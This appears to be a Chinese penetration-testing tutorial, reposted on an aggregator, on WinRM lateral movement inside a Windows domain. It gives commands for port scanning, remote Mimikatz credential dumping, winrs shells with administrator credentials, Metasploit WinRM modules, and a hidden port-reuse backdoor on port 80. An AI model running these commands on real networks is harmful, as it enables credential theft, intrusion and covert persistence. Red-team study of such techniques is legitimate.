3

WinRM-横向移动

 1 year ago
source link: https://antipassion.github.io/2021/09/26/WinRM-%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

WinRM-横向移动

2021-09-262022-01-28域渗透

54

WinRM 用于Windows远程管理,他允许管理员远程执行系统命令。通过HTTP(5985) 或 HTTPS SOAP(5986)进行执行,支持Kerberos以及NTLM身份验证以及基本身份验证。使用此服务需要管理员票据。

假设我们已经获得一台内网服务器的管理员权限(对端服务器允许此用户登陆即可),并且开启了WinRM管理服务器,那么我们可以利用凭证进行内网横向移动

开放端口5985的主机运行WInRM服务,可利用端口扫描工具进行探测确认。

nmap -sS -sV --open -p5985 10.10.10.10-12
image-20210926195057008

如果此时端口5985打开但端口5986已经被关闭,此时WinRM服务配置为仅接受HTTP连接,并加密

image-20210926192658012

利用Poershell Invoke-Command 可通过WinRM服务执行命令。

image-20210926192711834

同时我们还可利用 WinRM 远程执行Mimikatz来导出内存中的票据,无需将Mimikatz放入目标机器中执行。

此处使用Mimikatz导出票据,前提条件是你已获得管理员权限,否则将会导出失败。

Import-Module ./Invoke-Mimikatz.ps1
Invoke-Mimikatz -ComputerName TARGET
image-20210926192725400

利用导出的凭证,继续横向渗透。

对于不运行 WinRM 的系统,可以利用Powershell命令进行启用配置。

Enable-PSRemoting -Force

image-20210926192736459

默认情况下,可能无法通过 WinRM 连接到另一个系统, 并且可能需要额外的配置。 以下配置可能帮助我们解决配置错误问题。

Winrm quickconfig
winrm set winrm/config/client @{AllowUnencrypted = "true
Set-Item WSMan:localhost\client\trustedhosts -value *

WinRs

WinRS 是一个命令行工具,它是Windows 2008及更高版本的一部分。如果启用了WinRM,此实用程序可用于远程执行主机上的命令。在CMD参数上可建立一个新的远程cmd会话。

winrs -r:http://10.10.10.12:5985 -u:administrator -p:xxxxx "cmd"
image-20210926192758398

也可对其远程执行命令而非一个cmd会话,以便对目标远程探测

winrs -r:http://10.10.10.12:5985 -u:administrator -p:xxxxx "net localgroup administrators"
image-20210926192808642

也可利用msf 的 web_delivery模块远程无文件上线msf。此模块将生成一个将在本地托管的有效载荷,并将生成需要在目标上执行的powershell命令。

use multi/script/web_delivery
image-20210926192818719

利用winrs远程执行:

image-20210926192827384

MSF 有几个模块,可用于发现开启了WinRM服务的主机、发现凭证以进行服务身份验证以及执行任意命令和代码。以下模块可以发现启用了WinRM 服务的系统机器支持的身份验证协议。

探测WinRM验证方式

auxiliary/scanner/winrm/winrm_auth_methods
image-20210926192845668

探测票据有效性

如果已经获得服务器上的缓存票据,则这些票据可用于通过WinRM服务与其他主机进行身份验证。以下模块可检测票据是否对其他主机有效。

auxiliary/scanner/winrm/winrm_login 
image-20210926192855464

利用票据执行命令

通过WinRM 服务执行任意命令。此模块需要本地管理员凭据、域和目标主机。

此处未能成功执行。

auxiliary/scanner/winrm/winrm_cmd
image-20210926192903042

也可利用WinRM和以下模块执行命令。该模块需要本地管理员凭证和代码将执行的主机列表。此模块可用于横向移动到域内主机。

exploit/windows/winrm/winrm_script_exec
image-20210926192912391

其他利用手段

1.开启3389远程桌面控制

​ 若开启了WinRM,可利用PeekABoo工具或直接对注册表操作开启3389端口

2.端口复用做后门

​ 将WInRM监听端口由5985改为80或443等常用端口,及时端口被Web服务占用也不会影响,并且不会影响web服务的执行:

​ (1)配置目标WinRM服务,更改监听端口开启复用模式

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

​ (2)链接目标

winrs -r:http://192.168.1.152 -u:administrator -p:xxxx cmd

​ 此方法适用于存在web服务的主机,并不会再开启新端口,较为隐蔽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK